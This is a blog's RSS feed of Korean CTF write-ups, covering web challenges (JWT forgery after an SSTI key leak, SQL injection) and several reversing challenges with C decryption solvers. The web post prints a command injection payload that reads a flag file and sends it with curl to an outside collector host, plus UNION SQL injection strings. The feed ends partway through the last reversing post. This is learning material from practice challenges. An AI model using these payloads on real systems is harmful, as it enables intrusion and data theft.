<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>shin_y</title>
        <link>https://velog.io/</link>
        <description>배고파요 ..</description>
        <lastBuildDate>Thu, 07 Aug 2025 10:32:56 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>shin_y</title>
            <url>https://velog.velcdn.com/images/shin_yy/profile/6e9531bb-9395-4a51-9c09-3bc4818c35ab/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. shin_y. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/shin_yy" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Web hacking CTF]]></title>
            <link>https://velog.io/@shin_yy/Mini-CTF</link>
            <guid>https://velog.io/@shin_yy/Mini-CTF</guid>
            <pubDate>Thu, 07 Aug 2025 10:32:56 GMT</pubDate>
            <description><![CDATA[<h1 id="rednose-u">Rednose U</h1>
<p>가장 까다로운 문제였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/f4a97804-9d8b-48cc-a9de-8a7dd606e319/image.png" alt="">
문제 파일 구성은 저렇게 되어있다.
main.py를 분석해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/a3b96d6c-3554-4a45-bc73-d006f9d55509/image.png" alt="">
JWT를 각각의 유저에게 발급해준다.
admin의 JWT Key는 이 방법으로는 고유 Key값을 알 수 없기 때문에 알 수 없다.
<img src="https://velog.velcdn.com/images/shin_yy/post/1d26652c-1e0a-424e-b081-31d6a0fd6e5c/image.png" alt="">
JWT는 auth라는 이름의 cookie에 저장된다.</p>
<p>이 때 특정 파라미터들은 id가 admin이고, isAdmin이 True가 되야한다.
단순히 admin으로 위조하는 것이 불가능한 것을 확인했다.
<img src="https://velog.velcdn.com/images/shin_yy/post/c1b4e1b3-4bc0-4fa5-b30f-746903dc0851/image.png" alt=""><img src="https://velog.velcdn.com/images/shin_yy/post/eab12485-2310-4f5e-a6f8-1514fe11c059/image.png" alt="">
로그인 과정에서 아이디에 대소문자 알파벳을 제외한 모든 특수기호를 블랙리스트로 필터링하는 과정이 있기에 SQL injection은 불가능한 것을 알 수 있다.</p>
<p>하지만 SSTI 공격 기법은 가능해보였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2025e186-67ec-48e8-abca-0396407cbb07/image.png" alt="">
다음을 뜯어서 확인해본 결과 JWTkey를 알 수 있었다.</p>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/88ed722d-6e0a-4a41-971b-852b6a98df51/image.png" alt="">
여기서 페이로드의 base64의 값을
id : admin
isAdmin : true
로 바꾼 뒤 시크릿의 값을 아까 찾은 Key값으로 바꾼다.</p>
<p>쿠키 값을 변조한 후, 다음으로 해야할 것은
<img src="https://velog.velcdn.com/images/shin_yy/post/89c48c8e-2b57-48aa-8a16-d87ad5bd04e6/image.png" alt="">
이 코드에서는 airport의 입력값을 필터링 과정없이 shell로 가져가기 때문에 command injection 공격을 시도할 수 있다.</p>
<p>파일에 들어있는 flag.txt를 읽어보았는데 안되길래 뭔가해서 ls로 확인해보니 파일명이 틀렸다. (...)
아무튼 그래서 올바른 위치를 타겟으로 다시 쿼리를 짜니</p>
<pre><code>/api/metar?airport=;cat flag_qaiu.txt | curl -d @- https://fufvaya.request.dreamhack.games</code></pre><p><img src="https://velog.velcdn.com/images/shin_yy/post/9ebee8f6-1f93-4fb5-9cb7-22f15f1c2bc0/image.png" alt="">
됐다.</p>
<h1 id="w2">W2</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/596d625f-7d44-43bb-933f-0e4a04b47f8e/image.png" alt="">
다음과 같이 테이블에 끼워넣는다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e070933f-6feb-4cc2-9c81-de1d5a3f8905/image.png" alt="">
다음의 필터링에 유의하며 문제를 풀이해보면,</p>
<p>이 소스는 로그인 페이지를 걸쳐 profil 페이지로 넘어가는 구조이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/a891e2ee-0a00-407b-b754-3c514353e21b/image.png" alt="">
프로필 페이지 소스를 보면 user_id 쿼리를 그대로 가져다가 출력한다.</p>
<p>따라서 저 부분을 flags 테이블에서 불러오는 것으로 변조하면 프로필 페이지에 플래그가 노출될 것이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/6d0a5046-1c39-4bb9-b081-ae3dc0489dbd/image.png" alt="">
프로필 페이지에 접근하기 위해선 무조건 로그인이 되어있어야하기에 일단 guest로 로그인 한 후, 파라미터를 변조해보겠다.</p>
<p>다음과 같은 flags 테이블에서 flag_value의 값들을 출력하는 쿼리를 짜서 변조해보면</p>
<pre><code>/profile?id=-1 UNION SELECT flag_value, &#39;a&#39;, &#39;b&#39;, &#39;c&#39; FROM flags--</code></pre><p>이때 a,b,c는 비어있는 Email, Role, Secret을 채워넣기 위해 쓴 것이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/caf9c3df-49a3-47c7-814a-c11f894a445b/image.png" alt="">
정상적으로 풀렸다.</p>
<h1 id="srs">SRS</h1>
<p>소스 코드를 분석해보기 위해 문제 파일을 다운로드 받았다.
소스 파일은 app.py와 flag_server.py가 있었고, 두 개 다 열어보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/dbcff8aa-725f-43d4-8689-fee5640d073c/image.png" alt="">
다음은 flag_server.py 코드인데
&#39;flag&#39; : ...
다음과 같은 형식으로 플래그가 대놓고 들어나 있었다.</p>
<h1 id="t야">T야?</h1>
<p>문제 사이트에 들어가보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/371c0a37-5293-4250-be9c-9bb62e50dce6/image.png" alt="">
다음과 같은 로그인 창만 놓여있고, 특이사항은 보이지 않았다.
따라서 소스 코드를 분석해보았는데,
<img src="https://velog.velcdn.com/images/shin_yy/post/91ffa096-2941-48fb-add3-dce147fcee72/image.png" alt="">
시작할 때, db에서 users라는 테이블과 flags라는 테이블 두 개를 만든다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d46178dc-e228-4bb7-ad38-7dc07401187e/image.png" alt="">
다음과 같이 INSERT를 통해 값들도 채워준다.
users와 admin은 각각 암호화된 비밀번호를 갖고, flags는 flag_value라는 값을 갖는데
표면으로 들어나지 않고 REDACYED가 적혀있는 것을 보아, 말 그대로 플래그 값을 지니는 것 같았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/262912a1-5c37-4ef3-a20b-cdd79f78269f/image.png" alt="">
username과 password를 별도의 처리과정 없이 입력 값 그대로 가져가기 때문에 SQL injection을 할 수 있는 환경이 되었다.
이 쿼리는 말 그대로 입력값을 그대로 db에 명령어로 써넣고 지정 값을 가져오기 때문에, users테이블에서 SELECT를 &#39; 명령어로 종료시키고 flags 테이블로 전환하여 SELECT를 해오면 된다.</p>
<p>로그인에 성공시 출력되는 것은 username이기에 flag_value를 username 대신 출력해주는 쿼리를 짜보면 다음과 같다.</p>
<pre><code>username = &#39; UNION SELECT 1, flag_value, &#39;x&#39;, &#39;x&#39; FROM flags --
password = 아무거나</code></pre><p><img src="https://velog.velcdn.com/images/shin_yy/post/d60a3b65-6b8e-46da-9b89-3ab304b9b6cf/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Reversing CTF]]></title>
            <link>https://velog.io/@shin_yy/Reversing-CTF</link>
            <guid>https://velog.io/@shin_yy/Reversing-CTF</guid>
            <pubDate>Mon, 21 Jul 2025 13:40:28 GMT</pubDate>
            <description><![CDATA[<h1 id="layer7-thief-the-monariza">Layer7, Thief the monariza</h1>
<p>문제 파일을 다운로드 한 후, 바이너리를 IDA로 열어서 디컴파일된 main 함수부터 살펴보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/c9de3e78-b1d9-4d8f-9ca0-c1f30d2b3a10/image.png" alt="">
입력받은 문자열 v4를 인자로 갖는 함수 checkPassword 에서 참이 반환되면 realllllll.jpg 라는 파일을 서버에서 내려받는 시스템이다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2f2a053c-9a6c-45bf-9460-d34e2b6106eb/image.png" alt="">
함수 checkPassword를 확인해보면 다음과 같은 입력값을 검증하는 코드를 확인할 수 있다.
검증은 비교적 간단하다.
v4[v3[i]]와 0x55 XOR 연산한다.
이 때 이 값이 입력받은 문자열의 인덱스값과 다르면 즉시 0을 반환한다.
모든 키 값이 동일할 경우, 마지막 문자열이 0 이면 &#39;참&#39; 아니면 &#39;거짓&#39;을 반환한다.</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    unsigned long long v4[3] = {0xB21E9F215807A934, 0x934F18E7D50CC430, 0xAC55FEDA3B81672A};
    unsigned char *bytes = (unsigned char *)v4;

    char key[7];

    int v3[6] = {0, 2, 4, 6, 8, 10};

    for (int i = 0; i &lt; 6; i++) {
        key[i] = bytes[v3[i]] ^ 0x55;
    }
    key[7] = 0;

    printf(&quot;%s&quot;, key);

    return 0;
}</code></pre><p>다음의 코드로 Key 값을 찾은 결과
정답 키값은 aRtKeY였다.
해당 코드를 gdb로 실행시킨 후, aRtKeY를 입력하여 realllllll.jpg 파일을 다운로드 받았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/89fef344-a2b6-40a4-ac07-989113980df9/image.png" alt="">
하지만 어째서인지 jpg 파일이 깨져있었고 HxD를 이용하여 Hex 데이터를 분석하여 jpg 파일 헤더에 이상이 있는지 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/bdd3313e-820c-4595-a847-fd82af260d21/image.png" alt="">
그 결과 FF D8이 되어야하는 부분이 FF DB로 되어있는 것을 확인하고 고쳤다.
그랬더니 정상적으로 jpg 파일이 열리며 파일에 담긴 플래그를 찾을 수 있었다.</p>
<p>사진은 조금 흉측한 관계로 첨부하지 않겠다..</p>
<h1 id="yekrox">YEKROX</h1>
<p>마찬가지로 문제 파일을 다운 받은 후, IDA로 디컴파일하여 main함수를 보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/11d01f2f-c6bf-415d-bc0a-805579ccab12/image.png" alt="">
var0라는 문자열에 암호화된 확인 문자열이 들어가는 것을 확인할 수 있었다.
암호화는 간단하게 인덱스값과 66을 더한 후, v3와 XOR 연산을 실시한다.
v3의 값은 byte_402040에 저장된 값이다.
이 문제는 입력받은 값을 암호화하여 키 값과 비교하는 것이 아니므로 역연산이 필요없다.
따라서 byte_402040에 저장된 값을 확인한 후, 그대로 코드를 짜주었다.</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    unsigned char byte_402040[36] = {
    0x0E, 0x22, 0x3D, 0x20, 0x34, 0x70, 0x33, 0x20, 0x2D, 0x24, 0x13,
    0x20, 0x21, 0x3B, 0x20, 0x3E, 0x3D, 0x3F, 0x39, 0x2C, 0x33, 0x38,
    0x36, 0x06, 0x3D, 0x3A, 0x25, 0x28, 0x30, 0x00, 0x15, 0x0F, 0x06,
    0x06, 0x16, 0x18
    };


    unsigned char vars0[37] = {0};

    int v3 = 14;

    for (int i = 0; i &lt; 36; i++) {
        v3 = byte_402040[i];
        vars0[i] = v3 ^ (i + 66);   
    }

    vars0[36] = 0;

    printf(&quot;%s&quot;, vars0);

    return 0;
}</code></pre><p>플래그는 정상적으로 출력되었다.</p>
<h1 id="xoring">XORING</h1>
<p>문제파일을 IDA로 실행시킨 후, main함수를 보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/1a3ace05-af37-46ed-898b-deefd46121c1/image.png" alt="">
s2에 xmmword_2060에 값을 넣고 입력받은 문자열과 v6의 주소값을 인자로 사용하여 sub_1350을 실행한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/40bad002-c20f-490f-87f8-dee8448cbb2c/image.png" alt="">
이 함수를 통해 입력받은 값 31바이트의 문자열을 XOR 암호화한 후, 아까 main 함수에서 memcmp를 통해 키값과 비교하여 일치하는지를 검사한다.
하지만 여기서 이상한 점을 발견할 수 있는데 단순히 xmmword_2060에 저장된 값은 16바이트 밖에 안된다. 따라서 15바이트를 또 찾아내야한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/7ae984e3-a193-4dec-910d-e7094e00819d/image.png" alt="">
또한 xmmword_2060의 저장된 값 역시 그대로 참조하는 것이 아닌, 리틀엔디안 방식
즉, 뒤에서부터 1바이트씩 가져와야한다.
이제 나머지 15바이트를 찾아보자.
본인은 도저히 찾기가 어려워서 디컴파일을 해제하고 다시 어셈블리를 확인하여 분석을 이어갔다.
그러다가 main함수에 위쪽에서 특이한 것을 발견했다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e101d4a6-60b3-4583-b0df-5cf3dcc60211/image.png" alt="">
살짝 해석해보면
var_78은 8바이트, var_70은 4바이트, var_6C는 2바이트, var_6A는 1바이트를 갖는 스택 프레임의 변수 레이아웃이였다.
s2는 우리가 아까봤던 xmmword 인것을 보니 이것을 모두 더한 31바이트가 키값이 되는 것을 확신하고 각각의 변수에 저장된 값을 확인하여 아까봤던 XOR 연산의 역산 코드를 작성하였다.</p>
<pre><code>
int main() {
    uint8_t enc[31] = {
        0x06, 0x22, 0x2F, 0xD0, 0x20, 0x44, 0x39, 0x30,
        0x2B, 0x67, 0x63, 0x64, 0x12, 0x65, 0x73, 0x1A,
        0x72, 0x72, 0x58, 0xA0, 0x87, 0xAB, 0x5F, 0x85,
        0x81, 0x97, 0x8D, 0xEC,
        0xEC, 0xEC,
        0xEF
    };

    char flag[32];
    int v2 = 3;

    for (int i = 0; i &lt; 31; ++i) {
        int temp = (enc[i] ^ 0x5A) - 13;
        int ch = temp ^ v2;
        v2 = (v2 + 7) &amp; 0xFF;
        flag[i] = (char)ch;
    }

    flag[31] = &#39;\0&#39;;

    printf(&quot;%s&quot;, flag);
    return 0;
}</code></pre><p>다음 코드를 실행 시키면 플래그가 출력된다.</p>
<h1 id="how-can-i-live-without-u">How can i live without u</h1>
<p> IDA를 이용해 디컴파일 한 후, main함수를 확인해보았다.</p>
<pre><code> __int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // edx
  int i; // eax
  char v6; // cl
  __int64 v7; // rdx
  size_t v8; // rax
  char *v9; // rdx
  char v10; // al
  __int64 j; // rax
  char *v12; // r8
  char *v13; // rdx
  int v14; // eax
  char v15; // cl
  char *v16; // rax
  int v17; // ecx
  int v18; // edx
  int v19; // esi
  __int64 k; // rsi
  int v21; // edx
  char v22; // al
  char v23; // al
  unsigned int v24; // r12d
  int v26; // [rsp+Ch] [rbp-1FCh]
  __int128 v27; // [rsp+10h] [rbp-1F8h] BYREF
  _BYTE v28[64]; // [rsp+20h] [rbp-1E8h] BYREF
  char s1[144]; // [rsp+60h] [rbp-1A8h] BYREF
  char s[280]; // [rsp+F0h] [rbp-118h] BYREF

  v3 = 0;
  v26 = 305419896;
  do
  {
    v4 = v3 ^ v26;
    v3 -= 1640531527;
    v26 = v4;
  }
  while ( v3 != -844395452 );
  for ( i = 0; i != 64; ++i )
  {
    v6 = i;
    v7 = i;
    v28[v7] = v6 ^ 0x5A;
  }
  __printf_chk(1, &quot;Enter the flag: &quot;);
  fflush(stdout);
  if ( fgets(s, 256, stdin) )
  {
    v8 = strcspn(s, &quot;\n&quot;);
    v9 = (char *)&amp;v27;
    s[v8] = 0;
    v10 = 0;
    v27 = 0;
    while ( 1 )
    {
      *v9++ = __ROL1__(~v10, 1) + 51;
      if ( v28 == v9 )
        break;
      v10 = *v9;
    }
    if ( strlen(s) != 144 )
      goto LABEL_23;
    for ( j = 0; j != 144; ++j )
      s1[j] = s[j];
    v12 = s1;
    v13 = s1;
    v14 = 0;
    do
    {
      v15 = v14;
      v14 += 23;
      *v13++ ^= v15 ^ 0x42;
    }
    while ( (_BYTE)v14 != 0xF0 );
    v16 = s1;
    v17 = 55;
    v18 = 19;
    do
    {
      *v16 += v18;
      v19 = v17;
      ++v16;
      v17 += v18;
      v18 = v19;
    }
    while ( s != v16 );
    for ( k = 0; k != 144; ++k )
      s1[k] = __ROL1__(s1[k], k % 7 + 1);
    v21 = 0;
    do
    {
      v22 = *v12++;
      v23 = v21 ^ v22;
      v21 += 3;
      *(v12 - 1) = v23 ^ 0xAA;
    }
    while ( s != v12 );
    v24 = memcmp(s1, &amp;unk_402040, 0x90u);
    if ( v24 )
    {
LABEL_23:
      v24 = 1;
      __printf_chk(1, &quot;Wrong!\n&quot;);
    }
    else
    {
      __printf_chk(1, &quot;Yes\n&quot;);
    }
  }
  else
  {
    v24 = 1;
    __printf_chk(1, &quot;Error reading input!\n&quot;);
  }
  return v24;
}</code></pre><p>뭔가 복잡해보이지만 하나씩 풀어보면 과제를 하면서 한 번쯤 해봤던 암호화들이 여러 개가 엮여서 이루어진 것이였다.</p>
<p>하나씩 확인해보면
XOR 연산을 통해 입력받은 문자열을 바이트마다 다른 키로 암호화를 시도한다.
그 후, 1차 암호화 된 값을 복잡한 형태로 덧셈 연산하는데 이를 피보나치 수열을 변형하여 암호화 한 것이라고 한다.
다음으로 이제는 너무나도 익숙한 비트 회전 ROL을 실행한다.
마지막으로 한 번 더 XOR 연산을 실시 한 후 최종적으로 비교를 하여 일치하면 참을 출력한다.
XOR 연산은 결과에 다시 XOR 연산을 가하면 원래 값이되는 것을 이용한다.
비트 회전은 다시 반대로 회전시키면 쉽게 원래 값을 찾을 수 있다.
복잡한 덧셈 연산 암호화는 덧셈이기 때문에 이항해서 하나씩 풀면 풀린다.</p>
<p>아무리봐도 과제식 시간 끌기 문제였던 것 같다.
패치나 gdb 실행을 시키지 않고 순수히 역연산 코드를 일일이 짰다..
unk_402040 안에 키값이 들어있지만, 너무 길어서 적기를 포기했다..
144바이트 ....</p>
<pre><code>#include &lt;stdio.h&gt;

unsigned char enc[144] = {
    0xE8,0x04,0x56,0x9D,0x40,0x31,0xDD,0x99,0xD6,0xAC,0x77,0x4B,0xAD,0xE5,0xFB,0xEA,
    0xDC,0x9C,0xF7,0xF4,0x55,0xC4,0xD8,0x44,0x23,0x04,0xAB,0x74,0xA6,0x9C,0xCE,0x32,
    0x60,0xF0,0x03,0x6F,0x65,0xD6,0xC9,0x91,0xDE,0x42,0xEC,0x71,0xA3,0xC5,0xA8,0x86,
    0x66,0x69,0x56,0xCE,0x77,0x5F,0xB0,0x25,0x05,0x71,0xD9,0x35,0x97,0xEF,0x90,0x71,
    0x88,0x12,0xCA,0x8A,0x92,0x64,0x40,0x88,0x5E,0xD3,0x79,0x82,0xC2,0x02,0x18,0xEB,
    0x10,0x75,0xDC,0x27,0x66,0xDC,0x7A,0x39,0x42,0x4B,0x32,0x78,0x9E,0x2A,0x46,0xDD,
    0x94,0x0D,0xE6,0x8D,0x21,0xC6,0x9E,0x67,0x67,0x80,0xB5,0x22,0xEE,0xB4,0xE6,0x76,
    0xC1,0x95,0x07,0x69,0x92,0x59,0x1B,0x33,0x83,0xD0,0xDD,0x1C,0xDE,0x4E,0x50,0x43,
    0x52,0xA5,0x84,0x8B,0x8E,0x41,0x18,0x25,0x63,0x9A,0x78,0x10,0x8C,0xA8,0x60,0xAB
};

unsigned char ror(unsigned char val, unsigned char r_bits) {
    return (val &gt;&gt; r_bits) | (val &lt;&lt; (8 - r_bits));
}

void decrypt(unsigned char *flag) {
    unsigned char v21 = 0;

    for (int i = 0; i &lt; 144; i++) {
        unsigned char tmp = flag[i];
        tmp ^= 0xAA;
        flag[i] = tmp ^ v21;
        v21 = (v21 + 3) &amp; 0xFF;
    }

    for (int i = 0; i &lt; 144; i++) {
        flag[i] = ror(flag[i], (i % 7) + 1);
    }

    unsigned char v17 = 55;
    unsigned char v18 = 19;

    for (int i = 0; i &lt; 144; i++) {
        flag[i] = (flag[i] - v18) &amp; 0xFF;
        unsigned char tmp = v17;
        v17 = (v17 + v18) &amp; 0xFF;
        v18 = tmp;
    }

    unsigned char v14 = 0;
    for (int i = 0; i &lt; 144; i++) {
        flag[i] ^= (v14 ^ 0x42);
        v14 = (v14 + 23) &amp; 0xFF;
    }
}

int main() {
    unsigned char flag[144];

    for (int i = 0; i &lt; 144; i++) {
        flag[i] = enc[i];
    }

    decrypt(flag);

    for (int i = 0; i &lt; 144; i++) {
            printf(&quot;%c&quot;, flag[i]);
    }

    return 0;
}</code></pre><p>ROL 비트회전을 복호화를 위한 ROR을 함수로 선언해준 후, main 함수에는 최종 결과값만 출력하도록 구현하였다.
나머지 복호화는 전부 decrypt 함수에서 실시한다.</p>
<p>해당 코드를 실행 시키면 플래그가 출력된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 8차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-8%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-8%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Sun, 06 Jul 2025 13:55:14 GMT</pubDate>
            <description><![CDATA[<h1 id="layer7-ctf">Layer7 CTF</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/22eba044-8313-4587-bb4f-c6ecbf3d1289/image.png" alt=""></p>
<h2 id="custom-1">Custom 1</h2>
<p>문제 파일을 다운로드 받고 IDA로 컴파일하였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/817ab784-c0a1-48a3-b25c-81be78e2d638/image.png" alt="">
다음의 코드의 상단부터 천천히 확인해보면
vars0이라는 80길이의 문자열을 선언하고 s라는 문자열에 값을 입력받는 것으로 추정해볼 수 있다.
v4에다가는 정수 25를 대입한다.
반복문에서는 vars0의 값에 키 값인 enc1_0을 이용해 암호화한 코드를 대입하는 것을 알 수 있다.
그 후, 입력받은 s의 값과 암호화된 vars0의 값을 비교하여 일치 할 경우 &quot;Correct!&quot;가 출력된다.</p>
<p>먼저 fgets를 이용하여 값을 입력받고 암호화하여 key값과 비교하는 것이 아닌 key값을 암호화 해제하여 입력받은 값과 비교하여 &quot;correct!&quot;를 출력하는 것이기 때문에 위 코드에 vars0에 저장하는 과정이 바로 flag 값을 만드는 과정인것이다.</p>
<p>따라서 vars0에 대입하는 코드 부분을 그대로 따라쓰면 우리는 enc1_0 배열의 값들을 모두 알고 있기 때문에 flag를 구할 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/72bdf00b-595c-49bc-9d9e-d1f8eede4e47/image.png" alt=""></p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int v3;
    int v6;
    int v7;
    int v8; 
    char vars0[80];
    unsigned enc1_0[64] = {
        0x19, 9,    0x4E, 0xB7, 0xD3, 0x83, 8,    0x6D, 0x9A, 0x89, 0x8C,
        0x33, 0xE,  0x92, 0xCD, 0xA2, 0xD2, 0x20, 0x8C, 0x8B, 0x96,
        0x95, 0x56, 0xA7, 0x8A, 0xB2, 0xC7, 0x0F, 0xAA, 0x8E, 0x82,
        0xEC, 0x26, 0x4A, 0xBE, 0xAB, 0x96, 5,    0x74, 0xBA, 0xCF,
        0xB8, 0x33, 0x78, 0x80, 0xBE, 0x91, 0x2C, 0x17, 0xC8, 0x60,
        0x86, 0x43, 0x28, 0x33, 0x6F, 0xAE, 0xC2, 0x7A, 0x68, 0x2A,
        0xB9, 0xA4, 0x2B
    };

    int v4 = 25;
    v3 = 0;

    for (int i = 0; v4 = enc1_0[i]; i++) {
        v6 = v3;
        v3 = (unsigned int)(v3 + 51);
        v7 = v4 ^ ((v6 ^ 0x55u) + 2 * i);
        vars0[i] = v7;

        if ( i == 64 ) 
            break;
    }

    vars0[64] = 0;

    for (int i = 0; i &lt; 64; i++) {
        printf(&quot;%c&quot;, vars0[i]);
    }
}</code></pre><h2 id="custom-2">Custom 2</h2>
<p>문제 파일을 다운받아 컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/d6551dde-d9f6-4b08-9643-7fe357e3dcba/image.png" alt="">
이러한 main함수를 알 수 있다.
입력받은 문자열 s를 인자로 가지는 validate_input 함수를 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/88252f4a-9d4e-4cec-bcfd-081d9685c102/image.png" alt="">
&quot;this is not the way&quot; 라는 문구가 있는걸 보니 이 함수는 가짜인 것 같다.
전체적으로 둘러보기 앞서 먼저 함수 목록을 살펴보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/44b8b0fd-53f8-4c94-a9af-33dfed4da059/image.png" alt="">
print_flag라는 함수가 너무 수상해보여서 일단 먼저 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/12142a0a-73d7-4e79-9786-40e7c5f8ca00/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/c749d62a-6e11-4ee8-84d5-7990707c3d4c/image.png" alt="">
누가봐도 진짜같아 보이는 암호화 함수를 발견했다.
다른 것도 둘러보았지만 이 함수만큼 확실해보이는 것은 없었다.
해당 코드를 분석해보면 여러가지 함수를 호출하여 암호화를 실행하고 최종적으로 완료된 문장을 puts를 통해 출력하는 코드였다.
<img src="https://velog.velcdn.com/images/shin_yy/post/bbfe065c-23a2-4ff8-88b4-98eb68c91fad/image.png" alt="">
inv_p(n) 역시 가짜함수가 아니였다.
모든 코드에 대한 풀이 소스를 짜는 것은 무리가 있어보였기에 동적분석을 하기로 선택했다.</p>
<p>다시 처음부터 생각해보면 이 코드는 main함수에서 validate_input 함수를 이용하여 가짜 검사를 진행한다.</p>
<p>이때 생각을 뒤집어서 해보면 가짜 검사를 하는 validate_input 함수 대신 print_flag 함수를 호출하면 flag 값을 알아낼 수 있을 것이라고 생각했다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d825cc7a-af07-4203-a8ab-4c525bed612e/image.png" alt="">
생각을 토대로 바로 실행해주었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/c078e7f5-bf33-417f-adef-fc9c7655f8c4/image.png" alt="">
잘 바뀐 것을 확인하고 난 후, gdb를 가서 해당 파일을 실행시켜주었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/47c5183e-f7f0-4fd4-b37e-7b54d1c99b9a/image.png" alt="">
Enter password는 validate_input 함수의 인자를 입력받는 함수였으므로, 이제는 사실상 의미가 없는 함수니 무시하고 아무거나 입력해줬다.</p>
<p>정상적으로 print_flag 함수가 작동하며 플래그 값을 얻었다.</p>
<h1 id="dreamhack-reversing">Dreamhack Reversing</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/f0ee8f28-33c6-4f68-9724-e5f719a7fbb5/image.png" alt=""></p>
<h1 id="dreamhack-wargame">Dreamhack Wargame</h1>
<h2 id="legacyopt">legacyopt</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/5d5e88d9-c3b5-457d-8bdd-36c39ed9fe81/image.png" alt="">
문제 파일은 legacyopt와 output 두 개가 주어진다.
output은 Base64로 암호화된 플래그로 추정되는 문자열이 담겨있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/5414f4db-703a-458e-87f2-a66f0e0b9d79/image.png" alt="">
legacyopt를 IDA로 디컴파일 해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/af33c5c6-67c1-41c9-90e0-99f2940a75a9/image.png" alt="">
문자열을 입력받아 s에 저장하고 ptr과 함께 sub_1209에 인자로 보낸 후,
2자리 Hex값으로 ptr을 출력한다.
sub_1209를 분석하여 이 프로그램이 무엇을 하는 프로그램인지 분석해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/17860f3c-dc8b-4a5d-9218-290bc3a9547a/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/85886bfc-5e48-4f83-a9b0-6fb13352b4d8/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/8da6b1bb-f590-4a36-8336-301d8610ee45/image.png" alt="">
a3의 길이를 8로 나눈 나머지에 따라 switch문을 거치는 것을 그대로 구현하면 될 것 같다.
각 label이 모두 특정한 값과 XOR을 하는 모두 똑같은 구조를 가지고 있다.
따라서 이 코드는 s[i]에 어떤 값을 xor해서 ptr에 저장한다.</p>
<p>output은 결과이기에 2자리 Hex값 일 것이다.</p>
<p>그렇기에 output을 ptr에 넣고 다시 XOR 해주면 flag를 얻을 수 있을 것이다.
하지만 이 프로그램에서는 아까 말했듯, 출력을 2자리 Hex값으로 하기 때문에
따로 label의 XOR key값과 output의 문자열만 가지고 익스플로잇 코드를 작성 할 수 있었다.</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

int main() {
    const char *out_put = &quot;220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e&quot;;
    unsigned char key[8] = {0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33, 0x88};
    size_t len = strlen(out_put) / 2;
    unsigned char *flag = malloc(len);

    for (size_t i = 0; i &lt; len; i++) {
        sscanf(&amp;out_put[i * 2], &quot;%2hhx&quot;, &amp;flag[i]);
    }

    for (size_t i = 0; i &lt; len; i++) {
        printf(&quot;%c&quot;, flag[i] ^ key[i % 8]);
    }

    putchar(&#39;\n&#39;);

    free(flag);
    return 0;
}</code></pre><h2 id="recover">Recover</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/a2051c65-3c16-4011-b50f-12e28c0f9852/image.png" alt="">
파일을 다운로드 받아보면 두 개의 파일이 존재한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e1695597-0ae9-4701-a97e-9e66e830a14a/image.png" alt="">
그 중 소스 코드가 들어있는 파일은 chall이라는 파일이였다.
밑에 encrypted 파일은 무언가 암호화된 파일로 예상됬다.
<img src="https://velog.velcdn.com/images/shin_yy/post/37881764-ca98-425b-855f-a8770f6459bf/image.png" alt="">
이 소스를 분석해보면 읽기모드로 실행한 flag.png를 stream 에 저장한다.
